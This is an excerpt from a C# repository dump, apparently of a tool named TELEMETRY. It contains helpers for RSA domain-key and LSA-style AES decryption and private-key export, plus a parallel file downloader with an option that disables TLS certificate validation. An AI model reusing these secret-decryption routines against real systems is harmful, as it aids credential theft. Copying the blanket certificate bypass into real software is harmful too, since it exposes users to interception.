ipad[i] = Convert.ToByte('6'); 124 | opad[i] = Convert.ToByte('\\'); 125 | } 126 | 127 | for (int i = 0; i < keyBytes.Length; i++) 128 | { 129 | ipad[i] ^= sessionKeyBytes[i]; 130 | opad[i] ^= sessionKeyBytes[i]; 131 | } 132 | 133 | using (SHA1Managed sha1 = new SHA1Managed()) 134 | { 135 | byte[] ipadSHA1bytes = sha1.ComputeHash(ipad); 136 | byte[] opadSHA1bytes = sha1.ComputeHash(opad); 137 | 138 | byte[] combined = Helpers.Combine(ipadSHA1bytes, opadSHA1bytes); 139 | return combined; 140 | } 141 | } 142 | else 143 | { 144 | return new byte[0]; 145 | } 146 | } 147 | public static string ExportPrivateKey(RSACryptoServiceProvider csp) 148 | { 149 | //https://stackoverflow.com/questions/23734792/c-sharp-export-private-public-rsa-key-from-rsacryptoserviceprovider-to-pem-strin 150 | StringWriter outputStream = new StringWriter(); 151 | if (csp.PublicOnly) throw new ArgumentException("CSP does not contain a private key", "csp"); 152 | var parameters = csp.ExportParameters(true); 153 | using (var stream = new MemoryStream()) 154 | { 155 | var writer = new BinaryWriter(stream); 156 | writer.Write((byte)0x30); // Sequence 157 | using (var innerStream = new MemoryStream()) 158 | { 159 | var innerWriter = new BinaryWriter(innerStream); 160 | Helpers.EncodeIntegerBigEndian(innerWriter, new byte[] { 0x00 }); // Version 161 | Helpers.EncodeIntegerBigEndian(innerWriter, parameters.Modulus); 162 | Helpers.EncodeIntegerBigEndian(innerWriter, parameters.Exponent); 163 | Helpers.EncodeIntegerBigEndian(innerWriter, parameters.D); 164 | Helpers.EncodeIntegerBigEndian(innerWriter, parameters.P); 165 | Helpers.EncodeIntegerBigEndian(innerWriter, parameters.Q); 166 | Helpers.EncodeIntegerBigEndian(innerWriter, parameters.DP); 167 | Helpers.EncodeIntegerBigEndian(innerWriter, parameters.DQ); 168 | Helpers.EncodeIntegerBigEndian(innerWriter, parameters.InverseQ); 169 | var length = (int)innerStream.Length; 170 | Helpers.EncodeLength(writer, length); 171 | writer.Write(innerStream.GetBuffer(), 0, length); 172 | } 173 | 174 | var base64 = Convert.ToBase64String(stream.GetBuffer(), 0, (int)stream.Length).ToCharArray(); 175 | 176 | outputStream.Write("-----BEGIN RSA PRIVATE KEY-----\n"); 177 | 178 | for (var i = 0; i < base64.Length; i += 64) 179 | { 180 | outputStream.Write(base64, i, Math.Min(64, base64.Length - i)); 181 | outputStream.Write("\n"); 182 | } 183 | outputStream.Write("-----END RSA PRIVATE KEY-----"); 184 | } 185 | 186 | return outputStream.ToString(); 187 | } 188 | 189 | public static byte[] AESDecrypt(byte[] key, byte[] IV, byte[] data) 190 | { 191 | // helper to AES decrypt a given blob with optional IV 192 | 193 | AesManaged aesCryptoProvider = new AesManaged(); 194 | 195 | aesCryptoProvider.Key = key; 196 | if (IV.Length != 0) 197 | { 198 | aesCryptoProvider.IV = IV; 199 | } 200 | aesCryptoProvider.Mode = CipherMode.CBC; 201 | 202 | byte[] plaintextBytes = aesCryptoProvider.CreateDecryptor().TransformFinalBlock(data, 0, data.Length); 203 | 204 | return plaintextBytes; 205 | } 206 | 207 | public static byte[] LSAAESDecrypt(byte[] key, byte[] data) 208 | { 209 | AesManaged aesCryptoProvider = new AesManaged(); 210 | 211 | aesCryptoProvider.Key = key; 212 | aesCryptoProvider.IV = new byte[16]; 213 | aesCryptoProvider.Mode = CipherMode.CBC; 214 | aesCryptoProvider.BlockSize = 128; 215 | aesCryptoProvider.Padding = PaddingMode.Zeros; 216 | ICryptoTransform transform = aesCryptoProvider.CreateDecryptor(); 217 | 218 | int chunks = Decimal.ToInt32(Math.Ceiling((decimal)data.Length / (decimal)16)); 219 | byte[] plaintext = new byte[chunks * 16]; 220 | 221 | for (int i = 0; i < chunks; ++i) 222 | { 223 | int offset = i * 16; 224 | byte[] chunk = new byte[16]; 225 | Array.Copy(data, offset, chunk, 0, 16); 226 | 227 | byte[] chunkPlaintextBytes = transform.TransformFinalBlock(chunk, 0, chunk.Length); 228 | Array.Copy(chunkPlaintextBytes, 0, plaintext, i * 16, 16); 229 | } 230 | 231 | return plaintext; 232 | } 233 | 234 | public static byte[] RSADecrypt(byte[] privateKey, byte[] dataToDecrypt) 235 | { 236 | // helper to RSA decrypt a given blob 237 | 238 | // PROV_RSA_AES == 24 239 | var cspParameters = new System.Security.Cryptography.CspParameters(24); 240 | 241 | using (var rsaProvider = new System.Security.Cryptography.RSACryptoServiceProvider(cspParameters)) 242 | { 243 | try 244 | { 245 | rsaProvider.PersistKeyInCsp = false; 246 | rsaProvider.ImportCspBlob(privateKey); 247 | 248 | byte[] dataToDecryptRev = new byte[256]; 249 | 250 | Buffer.BlockCopy(dataToDecrypt, 0, dataToDecryptRev, 0, dataToDecrypt.Length); // ... Array.Copy? naw... :( 251 | 252 | Array.Reverse(dataToDecryptRev); // ... don't ask me how long it took to realize this :( 253 | 254 | byte[] dec = rsaProvider.Decrypt(dataToDecryptRev, false); // no padding 255 | return dec; 256 | } 257 | catch (Exception e) 258 | { 259 | Console.WriteLine("Error decryption domain key: {0}", e.Message); 260 | } 261 | finally 262 | { 263 | rsaProvider.PersistKeyInCsp = false; 264 | rsaProvider.Clear(); 265 | } 266 | } 267 | 268 | return new byte[0]; 269 | } 270 | 271 | public static byte[] LSASHA256Hash(byte[]key, byte[] rawData) 272 | { 273 | // yay 274 | using (SHA256 sha256Hash = SHA256.Create()) 275 | { 276 | byte[] buffer = new byte[key.Length + (rawData.Length * 1000)]; 277 | Array.Copy(key, 0, buffer, 0, key.Length); 278 | for (int i = 0; i < 1000; ++i) 279 | { 280 | Array.Copy(rawData, 0, buffer, key.Length + (i * rawData.Length), rawData.Length); 281 | } 282 | return sha256Hash.ComputeHash(buffer); 283 | } 284 | } 285 | } 286 | } -------------------------------------------------------------------------------- /TELEMETRY/lib/DownloadBatch.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace TELEMETRY.lib 7 | { 8 | public class DownloadBatch 9 | { 10 | public int BatchId { get; set; } 11 | 12 | public Dictionary Downloads { get; set; } 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /TELEMETRY/lib/DownloadFileInfo.cs: -------------------------------------------------------------------------------- 1 | namespace TELEMETRY.lib 2 | { 3 | public class DownloadFileInfo 4 | { 5 | public string FileUrl { get; set; } 6 | 7 | public bool IsOperationSuccess { get; set; } 8 | 9 | public bool Exists { get; set; } 10 | 11 | public long Length { get; set; } 12 | 13 | public bool IsSupportedHead { get; set; } 14 | 15 | public bool IsSupportedRange { get; set; } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /TELEMETRY/lib/DownloaderResult.cs: -------------------------------------------------------------------------------- 1 | namespace TELEMETRY.lib 2 | { 3 | public class DownloadResult 4 | { 5 | public string FileUrl { get; set; } 6 | public string FilePath { get; set; } 7 | public bool FileExists { get; set; } 8 | public long FileLength { get; set; } 9 | public long BytesDownloaded { get; set; } 10 | public long TimeTakenMs { get; set; } 11 | public int ParallelDownloads { get; set; } 12 | public bool IsCancelled { get; set; } 13 | public bool IsOperationSuccess { get; set; } 14 | } 15 | } -------------------------------------------------------------------------------- /TELEMETRY/lib/GidoraDownloader.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Threading; 8 | 9 | namespace TELEMETRY.lib 10 | { 11 | public class BandwidthEventArgs : EventArgs 12 | { 13 | public Bandwidth Bandwidth { get; set; } 14 | } 15 | 16 | public class DownloadCompletedEventArgs : EventArgs 17 | { 18 | public DownloadResult Result { get; set; } 19 | } 20 | 21 | public class ProgressChangedEventArgs : EventArgs 22 | { 23 | public string FileUrl { get; set; } 24 | public long Progress { get; set; } 25 | public long FileLength { get; set; } 26 | public long ElapsedMs { get; set; } 27 | 28 | public ProgressChangedEventArgs ShallowCopy() => (ProgressChangedEventArgs)MemberwiseClone(); 29 | } 30 | 31 | public class FileInfoReceivedEventArgs : EventArgs 32 | { 33 | public DownloadFileInfo DownloadFileInfo { get; set; } 34 | } 35 | 36 | public class BatchBandwidthEventArgs : EventArgs 37 | { 38 | } 39 | 40 | public class BatchDownloadCompletedEventArgs : EventArgs 41 | { 42 | } 43 | 44 | public class BatchProgressChangedEventArgs : EventArgs 45 | { 46 | } 47 | 48 | public class DownloadExceptionEventArgs : EventArgs 49 | { 50 | public Exception Exception { get; set; } 51 | } 52 | 53 | public class GidoraDownloader : IDisposable 54 | { 55 | 56 | public int MaxTriesCount { get; set; } = 100; 57 | 58 | public int NetErrorWaitMs { get; set; } = 10000; 59 | 60 | public int TimeoutMs { get; set; } = 30000; 61 | 62 | public event EventHandler BandwidthMeasured; 63 | 64 | public event EventHandler DownloadCompleted; 65 | 66 | public event EventHandler ProgressChanged; 67 | 68 | public event EventHandler FileInfoReceived; 69 | 70 | public event EventHandler BatchProgressChanged; 71 | 72 | public event EventHandler BatchBandwidthMeasured; 73 | 74 | public event EventHandler BatchDownloadCompleted; 75 | 76 | public event EventHandler ExceptionThrown; 77 | 78 | public GidoraDownloader(bool validateSsl = true) 79 | { 80 | ServicePointManager.Expect100Continue = false; 81 | ServicePointManager.DefaultConnectionLimit = 100; 82 | ServicePointManager.MaxServicePointIdleTime = 1000; 83 | 84 | if (!validateSsl) 85 | { 86 | ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; 87 | } 88 | } 89 | 90 | private volatile bool stopProgressThread; 91 | private static int batchId; 92 | 93 | private void StartProgressThread(ProgressChangedEventArgs changedEventArgs) 94 | { 95 | var initialArgs = changedEventArgs.ShallowCopy(); 96 | //start progress notification thread 97 | new Thread(_ => 98 | { 99 | try 100 | { 101 | bool completed = false; 102 | //send zero progress 103 | OnProgressChanged(initialArgs); 104 | 105 | lock (changedEventArgs) 106 | { 107 | while (!stopProgressThread && !completed) 108 | { 109 | Monitor.Wait(changedEventArgs); 110 | var sentArgs = changedEventArgs.ShallowCopy(); 111 | Monitor.PulseAll(changedEventArgs); 112 | completed = sentArgs.Progress == sentArgs.FileLength; 113 | OnProgressChanged(sentArgs); 114 | } 115 | } 116 | 117 | } 118 | catch (Exception ex) 119 | { 120 | OnExceptionThrown(ex); 121 | } 122 | }) { IsBackground = true }.Start(); 123 | } 124 | 125 | private void StartBandwidthThread(ProgressChangedEventArgs changedEventArgs) 126 | { 127 | new Thread(_ => 128 | { 129 | try 130 | { 131 | var bandwidth = new Bandwidth 132 | {FileUrl = changedEventArgs.FileUrl, Measures = new List()}; 133 | var sw = Stopwatch.StartNew(); 134 | bool completed = false; 135 | while (!stopProgressThread && !completed) 136 | { 137 | ProgressChangedEventArgs bandwidthArgs; 138 | lock (changedEventArgs) 139 | { 140 | bandwidthArgs = changedEventArgs.ShallowCopy(); 141 | } 142 | 143 | completed = bandwidthArgs.Progress == bandwidthArgs.FileLength; 144 | CalculateBandwidth(bandwidth, changedEventArgs.Progress, changedEventArgs.FileLength, sw); 145 | OnBandwidthMeasure(bandwidth); 146 | Thread.Sleep(100); 147 | } 148 | 149 | sw.Stop(); 150 | } 151 | catch (Exception ex) 152 | { 153 | OnExceptionThrown(ex); 154 | } 155 | }) 156 | { IsBackground = true }.Start(); 157 | } 158 | 159 | private Bandwidth CalculateBandwidth(Bandwidth bandwidth, long progress, long fileLength, Stopwatch sw) 160 | { 161 | try 162 | { 163 | var measure = new BandwidthMeasure 164 | {ElapsedMs = sw.ElapsedMilliseconds, ProgressBytes = progress, TotalBytes = fileLength}; 165 | 166 | //we suppose that every measure is created in 100ms interval 167 | bandwidth.Measures.Add(measure); 168 | 169 | bandwidth.Mean1Second = CalculateBandwidthForPeriod(bandwidth.Measures, 1000, bandwidth.Mean1Second); 170 | bandwidth.Mean5Seconds = CalculateBandwidthForPeriod(bandwidth.Measures, 5000, bandwidth.Mean5Seconds); 171 | bandwidth.Mean30Seconds = 172 | CalculateBandwidthForPeriod(bandwidth.Measures, 30000, bandwidth.Mean30Seconds); 173 | bandwidth.Mean1Minute = CalculateBandwidthForPeriod(bandwidth.Measures, 60000, bandwidth.Mean1Minute); 174 | 175 | bandwidth.Remaining = bandwidth.Mean1Minute > 0 176 | ? (fileLength - progress) / bandwidth.Mean1Minute 177 | : (long?) null; 178 | } 179 | catch (Exception ex) 180 | { 181 | OnExceptionThrown(ex); 182 | } 183 | 184 | return bandwidth; 185 | } 186 | 187 | private long CalculateBandwidthForPeriod(List measures, long periodMs, long defaultBandwidth) 188 | { 189 | try 190 | { 191 | var i = measures.Count - 1; 192 | var measure = measures[i]; 193 | long time = 0; 194 | //calculate 1s 195 | while (i >= 0 && (time = measure.ElapsedMs - measures[i].ElapsedMs) < periodMs) i--; 196 | time = i >= 0 ? time : measure.ElapsedMs; 197 | long bytes = measure.ProgressBytes - (i >= 0 ? measures[i].ProgressBytes : 0); 198 | 199 | return time > 0 ? 1000 * bytes / time : defaultBandwidth; 200 | } 201 | catch (Exception ex) 202 | { 203 | OnExceptionThrown(ex); 204 | return defaultBandwidth; 205 | } 206 | } 207 | 208 | public void OnBandwidthMeasure(Bandwidth bandwidth) 209 | { 210 | try 211 | { 212 | BandwidthMeasured?.Invoke(this, new BandwidthEventArgs {Bandwidth = bandwidth}); 213 | } 214 | catch (Exception ex) 215 | { 216 | OnExceptionThrown(ex); 217 | } 218 | } 219 | 220 | public void OnDownloadComplete(DownloadResult result) 221 | { 222 | try 223 | { 224 | DownloadCompleted?.Invoke(this, new DownloadCompletedEventArgs {Result = result}); 225 | } 226 | catch (Exception ex) 227 | { 228 | OnExceptionThrown(ex); 229 | } 230 | } 231 | 232 | public void OnProgressChanged(ProgressChangedEventArgs eventArgs) 233 | { 234 | try 235 | { 236 | ProgressChanged?.Invoke(this, eventArgs); 237 | } 238 | catch (Exception ex) 239 | { 240 | OnExceptionThrown(ex); 241 | } 242 | } 243 | 244 | private void OnGetFileInfo(DownloadFileInfo downloadFileInfo) 245 | { 246 | try 247 | { 248 | FileInfoReceived?.Invoke(this, new FileInfoReceivedEventArgs {DownloadFileInfo = downloadFileInfo}); 249 | } 250 | catch (Exception ex) 251 | { 252 | OnExceptionThrown(ex); 253 | } 254 | } 255 | 256 | private void OnExceptionThrown(Exception ex) 257 | { 258 | try 259 | { 260 | ExceptionThrown?.Invoke(this, new DownloadExceptionEventArgs() {Exception = ex}); 261 | } 262 | catch (Exception ex2) 263 | { 264 | } 265 | } 266 | 267 | public DownloadFileInfo GetFileInfo(string fileUrl) 268 | { 269 | var info = new DownloadFileInfo { FileUrl = fileUrl}; 270 | 271 | int triesCount = 0; 272 | 273 | try 274 | { 275 | 276 | while (!info.IsOperationSuccess && triesCount < MaxTriesCount) 277 | { 278 | try 279 | { 280 | //we must create web request each time to prevent DNS caching 281 | var webRequest = (HttpWebRequest) WebRequest.Create(fileUrl); 282 | webRequest.Method = "HEAD"; 283 | webRequest.Timeout = TimeoutMs; 284 | webRequest.ReadWriteTimeout = TimeoutMs; 285 | 286 | using (var webResponse = webRequest.GetResponse()) 287 | { 288 | info.Length = long.Parse(webResponse.Headers.Get("Content-Length")); 289 | info.IsSupportedHead = true; 290 | info.Exists = true; 291 | info.IsOperationSuccess = true; 292 | } 293 | } 294 | catch (WebException ex) 295 | { 296 | var status = (ex.Response as HttpWebResponse)?.StatusCode; 297 | 298 | //File does not exist on server, return 299 | if (status == HttpStatusCode.Forbidden || status == HttpStatusCode.NotFound) 300 | return info; 301 | 302 | WaitNetwork(ref triesCount); 303 | } 304 | catch (Exception ex) 305 | { 306 | WaitNetwork(ref triesCount); 307 | } 308 | } 309 | 310 | info.IsOperationSuccess = false; 311 | triesCount = 0; 312 | while (!info.IsOperationSuccess && triesCount < MaxTriesCount) 313 | { 314 | try 315 | { 316 | //we must create web request each time to prevent DNS caching 317 | var webRequest = (HttpWebRequest) WebRequest.Create(fileUrl); 318 | webRequest.AddRange(0, (int) info.Length - 1); 319 | webRequest.Method = "HEAD"; 320 | webRequest.Timeout = TimeoutMs; 321 | webRequest.ReadWriteTimeout = TimeoutMs; 322 | 323 | using (var webResponse = (HttpWebResponse) webRequest.GetResponse()) 324 | { 325 | info.IsSupportedRange = webResponse.StatusCode == HttpStatusCode.PartialContent 326 | || webResponse.GetResponseHeader("Accept-Ranges") == "bytes"; 327 | 328 | info.IsOperationSuccess = true; 329 | } 330 | } 331 | catch (WebException ex) 332 | { 333 | var status = (ex.Response as HttpWebResponse)?.StatusCode; 334 | 335 | //File does not exist on server, return 336 | if (status == HttpStatusCode.Forbidden || status == HttpStatusCode.NotFound) 337 | return info; 338 | 339 | WaitNetwork(ref triesCount); 340 | } 341 | catch (Exception ex) 342 | { 343 | WaitNetwork(ref triesCount); 344 | } 345 | } 346 | } 347 | catch (Exception ex) 348 | { 349 | OnExceptionThrown(ex); 350 | } 351 | 352 | return info; 353 | } 354 | 355 | public DownloadBatch CreateBatch() => new DownloadBatch() { BatchId = Interlocked.Increment(ref batchId)}; 356 | 357 | public void DownloadAsync(DownloadBatch batch, string fileUrl, string filePath, int numberOfParallelDownloads, CancellationToken cancellationToken) 358 | { 359 | throw new NotImplementedException(); 360 | } 361 | 362 | public void DownloadAsync(string fileUrl, int numberOfParallelDownloads) => DownloadAsync(fileUrl, numberOfParallelDownloads, CancellationToken.None); 363 | 364 | public void DownloadAsync(string fileUrl, int numberOfParallelDownloads, CancellationToken cancellationToken) => 365 | DownloadAsync(fileUrl, new Uri(fileUrl).Segments.Last(), numberOfParallelDownloads, cancellationToken); 366 | 367 | public void DownloadAsync(string fileUrl, string filePath, int numberOfParallelDownloads) 368 | => DownloadAsync(fileUrl, filePath, numberOfParallelDownloads, CancellationToken.None); 369 | 370 | public void DownloadAsync(string fileUrl, string filePath, int numberOfParallelDownloads, CancellationToken cancellationToken) 371 | { 372 | new Thread(_ => Download(fileUrl, filePath, numberOfParallelDownloads, cancellationToken)) 373 | { IsBackground = true}.Start(); 374 | } 375 | 376 | public DownloadResult Download(string fileUrl, int numberOfParallelDownloads, CancellationToken cancellationToken) 377 | => Download(fileUrl, new Uri(fileUrl).Segments.Last(), numberOfParallelDownloads, cancellationToken); 378 | 379 | public DownloadResult Download(string fileUrl, string filePath, int numberOfParallelDownloads, CancellationToken cancellationToken) 380 | { 381 | try 382 | { 383 | var uri = new Uri(fileUrl); 384 | 385 | var downloadFileInfo = GetFileInfo(fileUrl); 386 | OnGetFileInfo(downloadFileInfo); 387 | 388 | 389 | DownloadResult result; 390 | if (!downloadFileInfo.Exists || !downloadFileInfo.IsOperationSuccess) 391 | { 392 | result = new DownloadResult 393 | { 394 | FileUrl = fileUrl, FilePath = filePath, FileExists = downloadFileInfo.Exists, 395 | IsOperationSuccess = downloadFileInfo.IsOperationSuccess, 396 | IsCancelled = cancellationToken.IsCancellationRequested 397 | }; 398 | OnDownloadComplete(result); 399 | return result; 400 | } 401 | 402 | 403 | //Handle number of parallel downloads 404 | if (numberOfParallelDownloads <= 0) 405 | { 406 | numberOfParallelDownloads = Environment.ProcessorCount; 407 | } 408 | 409 | var readRanges = PrepareRanges(downloadFileInfo, numberOfParallelDownloads); 410 | 411 | var sw = Stopwatch.StartNew(); 412 | result = DownloadRanges(downloadFileInfo, readRanges, cancellationToken); 413 | sw.Stop(); 414 | 415 | result.TimeTakenMs = sw.ElapsedMilliseconds; 416 | result.FilePath = filePath; 417 | 418 | if (!result.IsCancelled) 419 | result.IsOperationSuccess &= WriteFile(filePath, readRanges); 420 | 421 | OnDownloadComplete(result); 422 | 423 | return result; 424 | } 425 | catch (Exception ex) 426 | { 427 | OnExceptionThrown(ex); 428 | } 429 | 430 | return new DownloadResult {FileUrl = fileUrl, FilePath = filePath, IsOperationSuccess = false}; 431 | } 432 | 433 | private bool WriteFile(string filePath, List readRanges) 434 | { 435 | try 436 | { 437 | using (var destinationStream = new FileStream(filePath, FileMode.Create)) 438 | { 439 | for (int i = 0; i < readRanges.Count; i++) 440 | { 441 | destinationStream.Write(readRanges[i].Buffer, 0, readRanges[i].Buffer.Length); 442 | } 443 | 444 | destinationStream.Flush(); 445 | } 446 | 447 | return true; 448 | } 449 | catch (Exception ex) 450 | { 451 | OnExceptionThrown(ex); 452 | return false; 453 | } 454 | } 455 | 456 | private List PrepareRanges(DownloadFileInfo info, int numberOfParallelDownloads) 457 | { 458 | var readRanges = new List(); 459 | 460 | long lastRangeStart = 0; 461 | 462 | try 463 | { 464 | 465 | if (info.IsSupportedRange) 466 | { 467 | for (int chunk = 0; chunk < numberOfParallelDownloads - 1; chunk++) 468 | { 469 | var range = new Range 470 | { 471 | Start = chunk * (info.Length / numberOfParallelDownloads), 472 | End = ((chunk + 1) * (info.Length / numberOfParallelDownloads)) - 1 473 | }; 474 | readRanges.Add(range); 475 | lastRangeStart = range.End + 1; 476 | } 477 | } 478 | 479 | //last range which we add always even if the Range header is not supported 480 | readRanges.Add(new Range 481 | { 482 | Start = lastRangeStart, 483 | End = info.Length - 1 484 | }); 485 | 486 | for (int i = 0; i < readRanges.Count; i++) 487 | { 488 | readRanges[i].Index = i; 489 | readRanges[i].Buffer = new byte[readRanges[i].End - readRanges[i].Start + 1]; 490 | } 491 | } 492 | catch (Exception ex) 493 | { 494 | OnExceptionThrown(ex); 495 | } 496 | 497 | return readRanges; 498 | } 499 | 500 | private DownloadResult DownloadRanges(DownloadFileInfo info, List readRanges, CancellationToken cancel) 501 | { 502 | // Parallel download 503 | var result = new DownloadResult {FileUrl = info.FileUrl, FileExists = info.Exists, FileLength = info.Length, ParallelDownloads = readRanges.Count}; 504 | long bytesDownloaded = 0; 505 | 506 | try 507 | { 508 | if (cancel.IsCancellationRequested) 509 | { 510 | result.IsCancelled = true; 511 | return result; 512 | } 513 | 514 | int numberOfThreads = readRanges.Count; 515 | var mutex = new ManualResetEvent(false); 516 | var progressChangedEventArgs = new ProgressChangedEventArgs 517 | {FileUrl = info.FileUrl, FileLength = info.Length}; 518 | StartProgressThread(progressChangedEventArgs); 519 | StartBandwidthThread(progressChangedEventArgs); 520 | var sw = Stopwatch.StartNew(); 521 | 522 | foreach (var readRange in readRanges) 523 | { 524 | new Thread(_ => 525 | { 526 | try 527 | { 528 | 529 | int rangeLen = readRange.Buffer.Length; 530 | int offset = 0; 531 | const int blockSize = 4096; 532 | int triesCount = 0; 533 | bool success = false; 534 | 535 | while (!success && !mutex.WaitOne(0) && triesCount < MaxTriesCount) 536 | { 537 | try 538 | { 539 | var httpWebRequest = (HttpWebRequest) WebRequest.Create(info.FileUrl); 540 | httpWebRequest.Method = "GET"; 541 | if (info.IsSupportedRange) 542 | httpWebRequest.AddRange((int) readRange.Start + offset, (int) readRange.End); 543 | httpWebRequest.Timeout = TimeoutMs; 544 | httpWebRequest.ReadWriteTimeout = TimeoutMs; 545 | using (var httpWebResponse = (HttpWebResponse) httpWebRequest.GetResponse()) 546 | { 547 | using (var responseStream = httpWebResponse.GetResponseStream()) 548 | { 549 | int bytesRead; 550 | while ((bytesRead = responseStream.Read(readRange.Buffer, 551 | offset, 552 | rangeLen - offset < blockSize ? rangeLen - offset : blockSize 553 | )) > 0 && !cancel.IsCancellationRequested) 554 | { 555 | offset += bytesRead; 556 | Interlocked.Add(ref bytesDownloaded, bytesRead); 557 | 558 | lock (progressChangedEventArgs) 559 | { 560 | progressChangedEventArgs.Progress = bytesDownloaded; 561 | progressChangedEventArgs.ElapsedMs = sw.ElapsedMilliseconds; 562 | Monitor.PulseAll(progressChangedEventArgs); 563 | } 564 | } 565 | 566 | } 567 | 568 | success = true; 569 | } 570 | } 571 | catch (Exception ex) 572 | { 573 | //reset offset if server does not support range 574 | if (!info.IsSupportedRange) 575 | offset = 0; 576 | 577 | WaitNetwork(ref triesCount); 578 | } 579 | } 580 | 581 | //If one thread is failed signalize other threads to exit. 582 | //If all threads completed signalize the method to return download result 583 | if (!success || Interlocked.Decrement(ref numberOfThreads) == 0) 584 | mutex.Set(); 585 | 586 | } 587 | catch (Exception ex) 588 | { 589 | OnExceptionThrown(ex); 590 | } 591 | }) {IsBackground = true}.Start(); 592 | } 593 | 594 | mutex.WaitOne(); 595 | sw.Stop(); 596 | result.BytesDownloaded = bytesDownloaded; 597 | result.IsOperationSuccess = Interlocked.CompareExchange(ref numberOfThreads, 0, 0) == 0; 598 | result.IsCancelled = cancel.IsCancellationRequested; 599 | } 600 | catch (Exception ex) 601 | { 602 | OnExceptionThrown(ex); 603 | } 604 | 605 | return result; 606 | } 607 | 608 | private void WaitNetwork(ref int triesCount) 609 | { 610 | triesCount++; 611 | Thread.Sleep(NetErrorWaitMs); 612 | } 613 | 614 | private void ReleaseUnmanagedResources() 615 | { 616 | // TODO release unmanaged resources here 617 | } 618 | 619 | protected virtual void Dispose(bool disposing) 620 | { 621 | ReleaseUnmanagedResources(); 622 | if (disposing) 623 | { 624 | stopProgressThread = true; 625 | } 626 | } 627 | 628 | public void Dispose() 629 | { 630 | Dispose(true); 631 | GC.SuppressFinalize(this); 632 | } 633 | 634 | ~GidoraDownloader() 635 | { 636 | Dispose(false); 637 | } 638 | } 639 | } -------------------------------------------------------------------------------- /TELEMETRY/lib/Range.cs: -------------------------------------------------------------------------------- 1 | using System.Threading; 2 | 3 | namespace TELEMETRY.lib 4 | { 5 | internal class Range 6 | { 7 | public long Start { get; set; } 8 | public long End { get; set; } 9 | public byte[] Buffer { get; set; } 10 | public ManualResetEvent Mutex { get; set; } 11 | public int Index { get; set; } 12 | } 13 | } -------------------------------------------------------------------------------- /taskschd.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Imanfeng/Telemetry/5d7097348e0a6e7d66d3ac3383d2675616d85d2e/taskschd.dll --------------------------------------------------------------------------------